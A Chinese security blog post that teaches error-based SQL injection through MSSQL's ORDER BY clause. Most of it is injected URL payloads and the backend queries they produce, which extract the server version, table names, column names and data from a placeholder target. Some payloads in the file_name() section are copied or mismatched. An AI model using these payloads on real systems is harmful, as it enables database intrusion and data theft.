【SQL注入】详解基于MSSQL “order by”语句报错的SQL注入技术

SQL注入,又名黑客技术之母,是一种臭名昭著的安全漏洞,由于流毒甚广,已经给网络世界造成了巨大的破坏。当然,对于该漏洞的利用技术,也是花样繁多,如访问存储在数据库中的数据,使用MySQL的load和into outfile语句读/写服务器代码,以及使用SA帐户在MSSQL中执行命令,等等。

在本文中,我们要利用的SQL注入漏洞出现在下面的情形中:当用户提供的数据通过MSSQL的“Order By”语句中的值进行传递时,如果SQL查询中存在语法错误,那么应用程序就会抛出SQL Server错误。

如果用户提供的数据在“Order By”子句中作为列名传递给SQL查询的话,那么常规的“基于错误的SQL注入”漏洞利用技术就无法生效了。

由于SQL Server已经为SQL查询预定义了一套安全规则,因此,我们无法使用常规的“基于错误的SQL注入”技术来攻击应用程序中的SQL注入漏洞。

不过,由于用户可以在Order by子句之后指定函数名称,同时,有些SQL server函数可以执行以参数传入的查询,并尝试对注入的查询的结果执行某些操作,如果操作遇到问题就会抛出错误,所以,如果我们对这些函数进行注入攻击,那么这些函数就会暴露注入的SQL查询的结果——这就是我们的漏洞利用思路。

漏洞利用

下面我们开始介绍可用于基于错误的SQL注入攻击的函数。

实际上,确实有少数几个SQL server函数可以满足我们的要求:执行其参数指定的SQL查询,并对查询结果执行指定的操作,还能通过错误消息给出SQL查询结果。

Convert()就是满足上述要求的一个函数,它常用于基于错误的SQL注入攻击中,因为它会按照第一个参数中指定的数据类型对第二个参数执行转换操作。

例如,对于convert(int,@@version),convert函数首先会执行第二个参数指定的SQL查询,然后尝试将查询结果转换为int类型。但是,由于这个SQL查询的结果是varchar类型,无法进行指定的转换,所以,convert函数会抛出一个SQL server错误消息,指出“SQL查询结果”无法转换为“int”类型,这样的话,攻击者就能得到的这个SQL查询的结果了。

下面列出满足上述要求的各个函数:

  • convert()
  • file_name()
  • db_name()
  • col_name()
  • filegroup_name()
  • object_name()
  • schema_name()
  • type_name()
  • cast()

演示:

假设这里有一个包含SQL注入漏洞的URL,它会将HTTP GET方法中名为“order”的参数的值(该值由用户指定)传递给SQL查询。该URL如下所示:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=column_name

然后,应用程序会从HTTP GET方法的参数“order”中接收用户提供的数据,并生成如下所示的SQL查询:

Select table_name,column_name from information_schema.columns order by column_name

convert() 函数

  • 查询SQL server版本

注入相关命令后的URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=convert(int,@@version)

在后台实际执行的查询:

select table_name,column_name from information_schema.columns order by

convert(int,@@version)

  • 提取当前数据库的表名

注入相关命令后的URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=CONVERT(int,(select top(1)

table_name from information_schema.columns))

在后台实际执行的查询:

select table_name,column_name from information_schema.columns order by

CONVERT(int,(select top(1) table_name from information_schema.tables))

  • 从表中提取列名

在提取列名的时候,我们可以使用cast()来规定要从哪些表中提取列名。需要注意的是,这里的表名是用“十六进制”形式表示的。

注入相关命令后的URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order= convert(int,(select top(1)

COLUMN_NAME from information_schema.columns where

TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))

在后台实际执行的查询:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by

convert(int,(select top(1) COLUMN_NAME from information_schema.columns where

TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))

  • 提取表中的列数据

从数据表的列中提取数据实际上并不复杂,只需在SQL查询中指定列名和表名即可。在本例中,我使用的列名为’xserver_name’,表名为’spt_fallback_db’。

注入相关命令后的URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=convert(int,(select top(1)

xserver_name from spt_fallback_db))

在后台实际执行的查询:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by

convert(int,(select top(1) xserver_name from spt_fallback_db))

file_name()函数

  • 查询SQL server版本

注入相关命令后的URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=file_name(@@version)

在后台实际执行的查询:

select table_name,column_name from information_schema.columns order by

file_name(@@version)

  • 提取当前数据库的表名

注入相关命令后的URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=CONVERT(int,(select top(1)

table_name from information_schema.columns))

在后台实际执行的查询:

select table_name,column_name from information_schema.columns order by

CONVERT(int,(select top(1) table_name from information_schema.tables))

  • 从表中提取列名

在提取列名的时候,我们可以使用cast()来规定要从哪些表中提取列名。需要注意的是,这里的表名是用“十六进制”形式表示的。

注入相关命令后的URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order= convert(int,(select top(1)

COLUMN_NAME from information_schema.columns where

TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))

在后台实际执行的查询:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by

convert(int,(select top(1) COLUMN_NAME from information_schema.columns where

TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))

  • 从表中提取列数据

从数据表中提取列数据其实很简单,只需在SQL查询中指定列名和表名即可。在本例中,我使用的列名为’xserver_name’,表名为’spt_fallback_db’。

注入相关命令后的URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order= file_name((select top(1)

xserver_name from spt_fallback_db))

在后台实际执行的查询:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by

file_name((select top(1) xserver_name from spt_fallback_db))

原文链接:

https://github.com/incredibleindishell/exploit-code-by-me/blob/master/MSSQL%20Error-Based%20SQL%20Injection%20Order%20by%20clause/Error%20based%20SQL%20Injection%20in%20%E2%80%9COrder%20By%E2%80%9D%20clause%20(MSSQL).pdf

 


如有意成为绿盟科技博客作者,欢迎进入作者群讨论!

绿盟科技博客作者QQ群:695158981

 

 

 

 

 

绿盟科技博客作者微信群:

Spread the word. Share this post!

Meet The Author

Leave Comment